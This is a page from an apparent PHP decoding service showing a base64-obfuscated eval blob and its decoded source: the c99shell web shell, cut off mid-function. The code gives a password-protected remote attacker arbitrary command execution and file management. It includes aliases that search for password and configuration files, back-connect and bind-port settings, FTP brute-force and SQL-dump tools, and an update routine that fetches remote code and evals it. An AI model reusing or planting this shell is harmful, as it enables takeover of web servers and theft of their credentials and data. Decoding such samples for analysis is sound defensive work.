Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("JHNoZWxsVXNlciA9ICJqb181ZUYwSUU4a00iOyRzaGVsbE1ENSA9ICI4MzZjNGQ..

Decoded Output download

$shellUser = "jo_5eF0IE8kM";$shellMD5 = "836c4d9281fe96840ada93a3a6a1a56f";/*
******************************************************************************************************
       ________  ________    _________.__           .__  .__             ________     _______   
  ____/   __   \/   __   \  /   _____/|  |__   ____ |  | |  |   ___  __  \_____  \    \   _  \  
_/ ___\____    /\____    /  \_____  \ |  |  \_/ __ \|  | |  |   \  \/ /   /  ____/    /  /_\  \ 
\  \___  /    /    /    /   /        \|   Y  \  ___/|  |_|  |__  \   /   /       \    \  \_/   \
 \___  >/____/    /____/   /_______  /|___|  /\___  >____/____/   \_/ /\ \_______ \ /\ \_____  /
     \/                            \/      \/     \/                  \/         \/ \/       \/ 
 _             _   __      _               _                 _      
| |           | | / /     (_)             | |               (_)     
| |__  _   _  | |/ /  __ _ _ _______ _ __ | |     ___  _   _ _  ___ 
| '_ \| | | | |    \ / _` | |_  / _ \ '_ \| |    / _ \| | | | |/ _ \
| |_) | |_| | | |\  \ (_| | |/ /  __/ | | | |___| (_) | |_| | |  __/
|_.__/ \__, | \_| \_/\__,_|_/___\___|_| |_\_____/\___/ \__,_|_|\___|
        __/ |                                                       
       |___/                                                        
*			c99shell.php v.2.0 (PHP 7) (25.02.2019) Updated by: KaizenLouie for PHP 7
*			https://github.com/KaizenLouie/C99Shell-PHP7
******************************************************************************************************
*/


function clean($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

if (!empty($_POST['userLogin']) && !empty($_POST['passLogin'])) {
    $user = clean($_POST['userLogin']);
    $password = clean($_POST['passLogin']);
    if ($user == $shellUser && md5(sha1($password)) == $shellMD5) {
        setcookie("user", $user, time()+21600,'/');
        setcookie("t3rr0r", $password, time()+21600,'/');
        header("Refresh:0");
    }
}

if (isset($_COOKIE["t3rr0r"]) && md5(sha1($_COOKIE["t3rr0r"])) == $shellMD5 && isset($_COOKIE["user"]) && $_COOKIE["user"] == $shellUser) {

if (!function_exists("getmicrotime"))
{
    function getmicrotime()
    {
        list($usec, $sec) = explode(" ", microtime());
        return ((float)$usec + (float)$sec);
    }
}
error_reporting(5);
@ignore_user_abort(true);
$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
define("starttime", getmicrotime());
if (get_magic_quotes_gpc())
{
    if (!function_exists("strips"))
    {
        function strips(&$arr, $k = "")
        {
            if (is_array($arr))
            {
                foreach ($arr as $k => $v)
                {
                    if (strtoupper($k) != "GLOBALS")
                    {
                        strips($arr["$k"]);
                    }
                }
            }
            else
            {
                $arr = stripslashes($arr);
            }
        }
    }
    strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
foreach ($_REQUEST as $k => $v)
{
    if (!isset($$k))
    {
        $$k = $v;
    }
}
$shver = "2.0 [PHP 7 Update] [25.02.2019]";
if (!empty($unset_surl))
{
    setcookie("c99sh_surl");
    $surl = "";
}
elseif (!empty($set_surl))
{
    $surl = $set_surl;
    setcookie("c99sh_surl", $surl);
}
else
{
    $surl = $_REQUEST["c99sh_surl"];
}
$surl_autofill_include = true;
if ($surl_autofill_include and !$_REQUEST["c99sh_surl"])
{
    $include = "&";
    foreach (explode("&", getenv("QUERY_STRING")) as $v)
    {
        $v = explode("=", $v);
        $name = urldecode($v[0]);
        $value = urldecode($v[1]);
        foreach (array(
            "http://",
            "https://",
            "ssl://",
            "ftp://",
            "\"
        ) as $needle)
        {
            if (strpos($value, $needle) === 0)
            {
                $includestr .= urlencode($name) . "=" . urlencode($value) . "&";
            }
        }
    }
    if ($_REQUEST["surl_autofill_include"])
    {
        $includestr .= "surl_autofill_include=1&";
    }
}
if (empty($surl))
{
    $surl = "?" . $includestr;
}
$surl = htmlspecialchars($surl);
$timelimit = 0;
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array(
    "*"
);
$login_txt = "Restricted area";
$accessdeniedmess = "<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell v." . $shver . "</a>: access denied";
$gzipencode = true;
$updatenow = false;
$c99sh_updateurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$c99sh_sourcesurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$filestealth = true;
$donated_html = "<center><b>Owned by hacker</b></center>";
$donated_act = array(
    ""
);
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "[email protected]";
$sort_default = "0a";
$sort_save = true;
$ftypes = array(
    "html" => array(
        "html",
        "htm",
        "shtml"
    ) ,
    "txt" => array(
        "txt",
        "conf",
        "bat",
        "sh",
        "js",
        "bak",
        "doc",
        "log",
        "sfc",
        "cfg",
        "htaccess"
    ) ,
    "exe" => array(
        "sh",
        "install",
        "bat",
        "cmd"
    ) ,
    "ini" => array(
        "ini",
        "inf"
    ) ,
    "code" => array(
        "php",
        "phtml",
        "php3",
        "php4",
        "inc",
        "tcl",
        "h",
        "c",
        "cpp",
        "py",
        "cgi",
        "pl"
    ) ,
    "img" => array(
        "gif",
        "png",
        "jpeg",
        "jfif",
        "jpg",
        "jpe",
        "bmp",
        "ico",
        "tif",
        "tiff",
        "avi",
        "mpg",
        "mpeg"
    ) ,
    "sdb" => array(
        "sdb"
    ) ,
    "phpsess" => array(
        "sess"
    ) ,
    "download" => array(
        "exe",
        "com",
        "pif",
        "src",
        "lnk",
        "zip",
        "rar",
        "gz",
        "tar"
    )
);
$exeftypes = array(
    getenv("PHPRC") . " -q %f%" => array(
        "php",
        "php3",
        "php4"
    ) ,
    "perl %f%" => array(
        "pl",
        "cgi"
    )
);
$regxp_highlight = array(
    array(
        basename($_SERVER["PHP_SELF"]) ,
        1,
        "<font color=\"yellow\">",
        "</font>"
    ) ,
    array(
        "config.php",
        1
    )
);
$safemode_diskettes = array(
    "a"
);
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
$bindport_pass = "c99";
$bindport_port = "31373";
$bc_port = "31373";
$datapipe_localport = "8081";
if (!$win)
{
    $cmdaliases = array(
        array(
            "-----------------------------------------------------------",
            "ls -la"
        ) ,
        array(
            "find all suid files",
            "find / -type f -perm -04000 -ls"
        ) ,
        array(
            "find suid files in current dir",
            "find . -type f -perm -04000 -ls"
        ) ,
        array(
            "find all sgid files",
            "find / -type f -perm -02000 -ls"
        ) ,
        array(
            "find sgid files in current dir",
            "find . -type f -perm -02000 -ls"
        ) ,
        array(
            "find config.inc.php files",
            "find / -type f -name config.inc.php"
        ) ,
        array(
            "find config* files",
            "find / -type f -name \"config*\""
        ) ,
        array(
            "find config* files in current dir",
            "find . -type f -name \"config*\""
        ) ,
        array(
            "find all writable folders and files",
            "find / -perm -2 -ls"
        ) ,
        array(
            "find all writable folders and files in current dir",
            "find . -perm -2 -ls"
        ) ,
        array(
            "find all service.pwd files",
            "find / -type f -name service.pwd"
        ) ,
        array(
            "find service.pwd files in current dir",
            "find . -type f -name service.pwd"
        ) ,
        array(
            "find all .htpasswd files",
            "find / -type f -name .htpasswd"
        ) ,
        array(
            "find .htpasswd files in current dir",
            "find . -type f -name .htpasswd"
        ) ,
        array(
            "find all .bash_history files",
            "find / -type f -name .bash_history"
        ) ,
        array(
            "find .bash_history files in current dir",
            "find . -type f -name .bash_history"
        ) ,
        array(
            "find all .fetchmailrc files",
            "find / -type f -name .fetchmailrc"
        ) ,
        array(
            "find .fetchmailrc files in current dir",
            "find . -type f -name .fetchmailrc"
        ) ,
        array(
            "list file attributes on a Linux second extended file system",
            "lsattr -va"
        ) ,
        array(
            "show opened ports",
            "netstat -an | grep -i listen"
        )
    );
}
else
{
    $cmdaliases = array(
        array(
            "-----------------------------------------------------------",
            "dir"
        ) ,
        array(
            "show opened ports",
            "netstat -an"
        )
    );
}
$sess_cookie = "c99shvars";
$usefsbuff = true;
$copy_unset = false;
$quicklaunch = array(
    array(
        "<img src=\"" . $surl . "act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",
        $surl
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">",
        "#\" onclick=\"history.back(1)"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">",
        "#\" onclick=\"history.go(1)"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=ls&d=%upd&sort=%sort"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",
        ""
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=search&d=%d"
    ) ,
    array(
        "<img src=\"" . $surl . "act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",
        $surl . "act=fsbuff&d=%d"
    ) ,
    array(
        "<b>Encoder</b>",
        $surl . "act=encoder&d=%d"
    ) ,
    array(
        "<b>Tools</b>",
        $surl . "act=tools&d=%d"
    ) ,
    array(
        "<b>Proc.</b>",
        $surl . "act=processes&d=%d"
    ) ,
    array(
        "<b>FTP brute</b>",
        $surl . "act=ftpquickbrute&d=%d"
    ) ,
    array(
        "<b>Sec.</b>",
        $surl . "act=security&d=%d"
    ) ,
    array(
        "<b>SQL</b>",
        $surl . "act=sql&d=%d"
    ) ,
    array(
        "<b>PHP-code</b>",
        $surl . "act=eval&d=%d"
    ) ,
    array(
        "<b>Update</b>",
        $surl . "act=update&d=%d"
    ) ,
    array(
        "<b>Feedback</b>",
        $surl . "act=feedback&d=%d"
    ) ,
    array(
        "<b>Self remove</b>",
        $surl . "act=selfremove"
    ) ,
    array(
        "<b>Logout</b>",
        "#\" onclick=\"if (confirm('Are you sure?')) window.close()"
    )
);
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k => $v)
{
    $tmp[] = str_replace("\*", ".*", preg_quote($v));
}
$s = "!^(" . implode("|", $tmp) . ")$!i";
if (!preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR"))))
{
    exit("<a href=\"https://github.com/KaizenLouie/C99Shell-PHP7\">c99shell</a>: Access Denied - your host (" . getenv("REMOTE_ADDR") . ") not allow");
}
if (!empty($login))
{
    if (empty($md5_pass))
    {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
    {
        if (empty($login_txt))
        {
            $login_txt = strip_tags(preg_replace("&nbsp;|<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}
if ($act != "img")
{
    $lastdir = realpath(".");
    chdir($curdir);
    if ($selfwrite or $updatenow)
    {
        @ob_clean();
        c99sh_getupdate($selfwrite, 1);
        exit;
    }
    $sess_data = unserialize($_COOKIE["$sess_cookie"]);
    if (!is_array($sess_data))
    {
        $sess_data = array();
    }
    if (!is_array($sess_data["copy"]))
    {
        $sess_data["copy"] = array();
    }
    if (!is_array($sess_data["cut"]))
    {
        $sess_data["cut"] = array();
    }
    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc))
    {
        $disablefunc = str_replace(" ", "", $disablefunc);
        $disablefunc = explode(",", $disablefunc);
    }
    if (!function_exists("c99_buff_prepare"))
    {
        function c99_buff_prepare()
        {
            global $sess_data;
            global $act;
            foreach ($sess_data["copy"] as $k => $v)
            {
                $sess_data["copy"][$k] = str_replace("\", DIRECTORY_SEPARATOR, realpath($v));
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                $sess_data["cut"][$k] = str_replace("\", DIRECTORY_SEPARATOR, realpath($v));
            }
            $sess_data["copy"] = array_unique($sess_data["copy"]);
            $sess_data["cut"] = array_unique($sess_data["cut"]);
            sort($sess_data["copy"]);
            sort($sess_data["cut"]);
            if ($act != "copy")
            {
                foreach ($sess_data["cut"] as $k => $v)
                {
                    if ($sess_data["copy"][$k] == $v)
                    {
                        unset($sess_data["copy"][$k]);
                    }
                }
            }
            else
            {
                foreach ($sess_data["copy"] as $k => $v)
                {
                    if ($sess_data["cut"][$k] == $v)
                    {
                        unset($sess_data["cut"][$k]);
                    }
                }
            }
        }
    }
    c99_buff_prepare();
    if (!function_exists("c99_sess_put"))
    {
        function c99_sess_put($data)
        {
            global $sess_cookie;
            global $sess_data;
            c99_buff_prepare();
            $sess_data = $data;
            $data = serialize($data);
            setcookie($sess_cookie, $data);
        }
    }
    foreach (array(
        "sort",
        "sql_sort"
    ) as $v)
    {
        if (!empty($_GET[$v]))
        {
            $$v = $_GET[$v];
        }
        if (!empty($_POST[$v]))
        {
            $$v = $_POST[$v];
        }
    }
    if ($sort_save)
    {
        if (!empty($sort))
        {
            setcookie("sort", $sort);
        }
        if (!empty($sql_sort))
        {
            setcookie("sql_sort", $sql_sort);
        }
    }
    if (!function_exists("str2mini"))
    {
        function str2mini($content, $len)
        {
            if (strlen($content) > $len)
            {
                $len = ceil($len / 2) - 2;
                return substr($content, 0, $len) . "..." . substr($content, -$len);
            }
            else
            {
                return $content;
            }
        }
    }
    if (!function_exists("view_size"))
    {
        function view_size($size)
        {
            if (!is_numeric($size))
            {
                return false;
            }
            else
            {
                if ($size >= 1073741824)
                {
                    $size = round($size / 1073741824 * 100) / 100 . " GB";
                }
                elseif ($size >= 1048576)
                {
                    $size = round($size / 1048576 * 100) / 100 . " MB";
                }
                elseif ($size >= 1024)
                {
                    $size = round($size / 1024 * 100) / 100 . " KB";
                }
                else
                {
                    $size = $size . " B";
                }
                return $size;
            }
        }
    }
    if (!function_exists("fs_copy_dir"))
    {
        function fs_copy_dir($d, $t)
        {
            $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
            if (substr($d, -1) != DIRECTORY_SEPARATOR)
            {
                $d .= DIRECTORY_SEPARATOR;
            }
            $h = opendir($d);
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
                    {
                        $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    else
                    {
                        $ret = mkdir($t . DIRECTORY_SEPARATOR . $o);
                        fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    if (!$ret)
                    {
                        return $ret;
                    }
                }
            }
            closedir($h);
            return true;
        }
    }
    if (!function_exists("fs_copy_obj"))
    {
        function fs_copy_obj($d, $t)
        {
            $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
            $t = str_replace("\", DIRECTORY_SEPARATOR, $t);
            if (!is_dir(dirname($t)))
            {
                mkdir(dirname($t));
            }
            if (is_dir($d))
            {
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
                if (substr($t, -1) != DIRECTORY_SEPARATOR)
                {
                    $t .= DIRECTORY_SEPARATOR;
                }
                return fs_copy_dir($d, $t);
            }
            elseif (is_file($d))
            {
                return copy($d, $t);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("fs_move_dir"))
    {
        function fs_move_dir($d, $t)
        {
            $h = opendir($d);
            if (!is_dir($t))
            {
                mkdir($t);
            }
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    $ret = true;
                    if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
                    {
                        $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    else
                    {
                        if (mkdir($t . DIRECTORY_SEPARATOR . $o) and fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o))
                        {
                            $ret = false;
                        }
                    }
                    if (!$ret)
                    {
                        return $ret;
                    }
                }
            }
            closedir($h);
            return true;
        }
    }
    if (!function_exists("fs_move_obj"))
    {
        function fs_move_obj($d, $t)
        {
            $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
            $t = str_replace("\", DIRECTORY_SEPARATOR, $t);
            if (is_dir($d))
            {
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
                if (substr($t, -1) != DIRECTORY_SEPARATOR)
                {
                    $t .= DIRECTORY_SEPARATOR;
                }
                return fs_move_dir($d, $t);
            }
            elseif (is_file($d))
            {
                if (copy($d, $t))
                {
                    return unlink($d);
                }
                else
                {
                    unlink($t);
                    return false;
                }
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("fs_rmdir"))
    {
        function fs_rmdir($d)
        {
            $h = opendir($d);
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    if (!is_dir($d . $o))
                    {
                        unlink($d . $o);
                    }
                    else
                    {
                        fs_rmdir($d . $o . DIRECTORY_SEPARATOR);
                        rmdir($d . $o);
                    }
                }
            }
            closedir($h);
            rmdir($d);
            return !is_dir($d);
        }
    }
    if (!function_exists("fs_rmobj"))
    {
        function fs_rmobj($o)
        {
            $o = str_replace("\", DIRECTORY_SEPARATOR, $o);
            if (is_dir($o))
            {
                if (substr($o, -1) != DIRECTORY_SEPARATOR)
                {
                    $o .= DIRECTORY_SEPARATOR;
                }
                return fs_rmdir($o);
            }
            elseif (is_file($o))
            {
                return unlink($o);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("myshellexec"))
    {
        function myshellexec($cmd)
        {
            global $disablefunc;
            $result = "";
            if (!empty($cmd))
            {
                if (is_callable("exec") and !in_array("exec", $disablefunc))
                {
                    exec($cmd, $result);
                    $result = join("
", $result);
                }
                elseif (($result = `$cmd`) !== false)
                {
                }
                elseif (is_callable("system") and !in_array("system", $disablefunc))
                {
                    $v = @ob_get_contents();
                    @ob_clean();
                    system($cmd);
                    $result = @ob_get_contents();
                    @ob_clean();
                    echo $v;
                }
                elseif (is_callable("passthru") and !in_array("passthru", $disablefunc))
                {
                    $v = @ob_get_contents();
                    @ob_clean();
                    passthru($cmd);
                    $result = @ob_get_contents();
                    @ob_clean();
                    echo $v;
                }
                elseif (is_resource($fp = popen($cmd, "r")))
                {
                    $result = "";
                    while (!feof($fp))
                    {
                        $result .= fread($fp, 1024);
                    }
                    pclose($fp);
                }
            }
            return $result;
        }
    }
    if (!function_exists("tabsort"))
    {
        function tabsort($a, $b)
        {
            global $v;
            return strnatcmp($a[$v], $b[$v]);
        }
    }
    if (!function_exists("view_perms"))
    {
        function view_perms($mode)
        {
            if (($mode & 0xC000) === 0xC000)
            {
                $type = "s";
            }
            elseif (($mode & 0x4000) === 0x4000)
            {
                $type = "d";
            }
            elseif (($mode & 0xA000) === 0xA000)
            {
                $type = "l";
            }
            elseif (($mode & 0x8000) === 0x8000)
            {
                $type = "-";
            }
            elseif (($mode & 0x6000) === 0x6000)
            {
                $type = "b";
            }
            elseif (($mode & 0x2000) === 0x2000)
            {
                $type = "c";
            }
            elseif (($mode & 0x1000) === 0x1000)
            {
                $type = "p";
            }
            else
            {
                $type = "?";
            }
            $owner["read"] = ($mode & 00400) ? "r" : "-";
            $owner["write"] = ($mode & 00200) ? "w" : "-";
            $owner["execute"] = ($mode & 00100) ? "x" : "-";
            $group["read"] = ($mode & 00040) ? "r" : "-";
            $group["write"] = ($mode & 00020) ? "w" : "-";
            $group["execute"] = ($mode & 00010) ? "x" : "-";
            $world["read"] = ($mode & 00004) ? "r" : "-";
            $world["write"] = ($mode & 00002) ? "w" : "-";
            $world["execute"] = ($mode & 00001) ? "x" : "-";
            if ($mode & 0x800)
            {
                $owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";
            }
            if ($mode & 0x400)
            {
                $group["execute"] = ($group["execute"] == "x") ? "s" : "S";
            }
            if ($mode & 0x200)
            {
                $world["execute"] = ($world["execute"] == "x") ? "t" : "T";
            }
            return $type . join("", $owner) . join("", $group) . join("", $world);
        }
    }
    if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid", $disablefunc))
    {
        function posix_getpwuid($uid)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid", $disablefunc))
    {
        function posix_getgrgid($gid)
        {
            return false;
        }
    }
    if (!function_exists("posix_kill") and !in_array("posix_kill", $disablefunc))
    {
        function posix_kill($gid)
        {
            return false;
        }
    }
    if (!function_exists("parse_perms"))
    {
        function parse_perms($mode)
        {
            if (($mode & 0xC000) === 0xC000)
            {
                $t = "s";
            }
            elseif (($mode & 0x4000) === 0x4000)
            {
                $t = "d";
            }
            elseif (($mode & 0xA000) === 0xA000)
            {
                $t = "l";
            }
            elseif (($mode & 0x8000) === 0x8000)
            {
                $t = "-";
            }
            elseif (($mode & 0x6000) === 0x6000)
            {
                $t = "b";
            }
            elseif (($mode & 0x2000) === 0x2000)
            {
                $t = "c";
            }
            elseif (($mode & 0x1000) === 0x1000)
            {
                $t = "p";
            }
            else
            {
                $t = "?";
            }
            $o["r"] = ($mode & 00400) > 0;
            $o["w"] = ($mode & 00200) > 0;
            $o["x"] = ($mode & 00100) > 0;
            $g["r"] = ($mode & 00040) > 0;
            $g["w"] = ($mode & 00020) > 0;
            $g["x"] = ($mode & 00010) > 0;
            $w["r"] = ($mode & 00004) > 0;
            $w["w"] = ($mode & 00002) > 0;
            $w["x"] = ($mode & 00001) > 0;
            return array(
                "t" => $t,
                "o" => $o,
                "g" => $g,
                "w" => $w
            );
        }
    }
    if (!function_exists("parsesort"))
    {
        function parsesort($sort)
        {
            $one = intval($sort);
            $second = substr($sort, -1);
            if ($second != "d")
            {
                $second = "a";
            }
            return array(
                $one,
                $second
            );
        }
    }
    if (!function_exists("view_perms_color"))
    {
        function view_perms_color($o)
        {
            if (!is_readable($o))
            {
                return "<font color=red>" . view_perms(fileperms($o)) . "</font>";
            }
            elseif (!is_writable($o))
            {
                return "<font color=white>" . view_perms(fileperms($o)) . "</font>";
            }
            else
            {
                return "<font color=green>" . view_perms(fileperms($o)) . "</font>";
            }
        }
    }
    if (!function_exists("c99getsource"))
    {
        function c99getsource($fn)
        {
            global $c99sh_sourcesurl;
            $array = array(
                "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
                "c99sh_bindport.c" => "c99sh_bindport_c.txt",
                "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
                "c99sh_backconn.c" => "c99sh_backconn_c.txt",
                "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
                "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
            );
            $name = $array[$fn];
            if ($name)
            {
                return file_get_contents($c99sh_sourcesurl . $name);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("c99sh_getupdate"))
    {
        function c99sh_getupdate($update = true)
        {
            $url = $GLOBALS["c99sh_updateurl"] . "?version=" . urlencode(base64_encode($GLOBALS["shver"])) . "&updatenow=" . ($updatenow ? "1" : "0") . "&";
            $data = @file_get_contents($url);
            if (!$data)
            {
                return "Can't connect to update-server!";
            }
            else
            {
                $data = ltrim($data);
                $string = substr($data, 3, ord($data{2}));
                if ($data{0} == "" and $data{1} == "")
                {
                    return "Error: " . $string;
                    return false;
                }
                if ($data{0} == "" and $data{1} == "")
                {
                    return "You are using latest version!";
                }
                if ($data{0} == "" and $data{1} == "")
                {
                    $string = explode("", $string);
                    if ($update)
                    {
                        $confvars = array();
                        $sourceurl = $string[0];
                        $source = file_get_contents($sourceurl);
                        if (!$source)
                        {
                            return "Can't fetch update!";
                        }
                        else
                        {
                            $fp = fopen(__FILE__, "w");
                            if (!$fp)
                            {
                                return "Local error: can't write update to " . __FILE__ . "! You may download c99shell.php manually <a href=\"" . $sourceurl . "\"><u>here</u></a>.";
                            }
                            else
                            {
                                fwrite($fp, $source);
                                fclose($fp);
                                return "Thanks! Updated with success.";
                            }
                        }
                    }
                    else
                    {
                        return "New version are available: " . $string[1];
                    }
                }
                elseif ($data{0} == "" and $data{1} == "")
                {
                    eval($string);
                    return 1;
                }
                else
                {
                    return "Error in protocol: segmentation failed! (" . $data . ") ";
                }
            }
        }
    }
    if (!function_exists("mysql_dump"))
    {
        function mysql_dump($set)
        {
            global $shver;
            $sock = $set["sock"];
            $db = $set["db"];
            $print = $set["print"];
            $nl2br = $set["nl2br"];
            $file = $set["file"];
            $add_drop = $set["add_drop"];
            $tabs = $set["tabs"];
            $onlytabs = $set["onlytabs"];
            $ret = array();
            $ret["err"] = array();
            if (!is_resource($sock))
            {
                echo ("Error: \$sock is not valid resource.");
            }
            if (empty($db))
            {
                $db = "db";
            }
            if (empty($print))
            {
                $print = 0;
            }
            if (empty($nl2br))
            {
                $nl2br = 0;
            }
            if (empty($add_drop))
            {
                $add_drop = true;
            }
            if (empty($file))
            {
                $file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
            }
            if (!is_array($tabs))
            {
                $tabs = array();
            }
            if (empty($add_drop))
            {
                $add_drop = true;
            }
            if (sizeof($tabs) == 0)
            {
                $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
                if (mysql_num_rows($res) > 0)
                {
                    while ($row = mysql_fetch_row($res))
                    {
                        $tabs[] = $row[0];
                    }
                }
            }
            $out = "# Dumped by C99Shell.SQL v. " . $shver . "
					# Home page: https://github.com/KaizenLouie/C99Shell-PHP7
					#
					# Host settings:
					# MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "
					# Date: " . date("d.m.Y H:i:s") . "
					# DB: \"" . $db . "\"
					#---------------------------------------------------------
";
            $c = count($onlytabs);
            foreach ($tabs as $tab)
            {
                if ((in_array($tab, $onlytabs)) or (!$c))
                {
                    if ($add_drop)
                    {
                        $out .= "DROP TABLE IF EXISTS `" . $tab . "`;
";
                    }
                    $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
                    if (!$res)
                    {
                        $ret["err"][] = mysql_smarterror();
                    }
                    else
                    {
                        $row = mysql_fetch_row($res);
                        $out .= $row["1"] . ";

";
                        $res = mysql_query("SELECT * FROM `$tab`", $sock);
                        if (mysql_num_rows($res) > 0)
                        {
                            while ($row = mysql_fetch_assoc($res))
                            {
                                $keys = implode("`, `", array_keys($row));
                                $values = array_values($row);
                                foreach ($values as $k => $v)
                                {
                                    $values[$k] = addslashes($v);
                                }
                                $values = implode("', '", $values);
                                $sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');
";
                                $out .= $sql;
                            }
                        }
                    }
                }
            }
            $out .= "#---------------------------------------------------------------------------------

";
            if ($file)
            {
                $fp = fopen($file, "w");
                if (!$fp)
                {
                    $ret["err"][] = 2;
                }
                else
                {
                    fwrite($fp, $out);
                    fclose($fp);
                }
            }
            if ($print)
            {
                if ($nl2br)
                {
                    echo nl2br($out);
                }
                else
                {
                    echo $out;
                }
            }
            return $out;
        }
    }
    if (!function_exists("mysql_buildwhere"))
    {
        function mysql_buildwhere($array, $sep = " and", $functs = array())
        {
            if (!is_array($array))
            {
                $array = array();
            }
            $result = "";
            foreach ($array as $k => $v)
            {
                $value = "";
                if (!empty($functs[$k]))
                {
                    $value .= $functs[$k] . "(";
                }
                $value .= "'" . addslashes($v) . "'";
                if (!empty($functs[$k]))
                {
                    $value .= ")";
                }
                $result .= "`" . $k . "` = " . $value . $sep;
            }
            $result = substr($result, 0, strlen($result) - strlen($sep));
            return $result;
        }
    }
    if (!function_exists("mysql_fetch_all"))
    {
        function mysql_fetch_all($query, $sock)
        {
            if ($sock)
            {
                $result = mysql_query($query, $sock);
            }
            else
            {
                $result = mysql_query($query);
            }
            $array = array();
            while ($row = mysql_fetch_array($result))
            {
                $array[] = $row;
            }
            mysql_free_result($result);
            return $array;
        }
    }
    if (!function_exists("mysql_smarterror"))
    {
        function mysql_smarterror($type, $sock)
        {
            if ($sock)
            {
                $error = mysql_error($sock);
            }
            else
            {
                $error = mysql_error();
            }
            $error = htmlspecialchars($error);
            return $error;
        }
    }
    if (!function_exists("mysql_query_form"))
    {
        function mysql_query_form()
        {
            global $submit, $sql_act, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
            if (($submit) and (!$sql_query_result) and ($sql_confirm))
            {
                if (!$sql_query_error)
                {
                    $sql_query_error = "Query was empty";
                }
                echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
            }
            if ($sql_query_result or (!$sql_confirm))
            {
                $sql_act = $sql_goto;
            }
            if ((!$submit) or ($sql_act))
            {
                echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>";
                if (($sql_query) and (!$submit))
                {
                    echo "Do you really want to";
                }
                else
                {
                    echo "SQL-Query";
                }
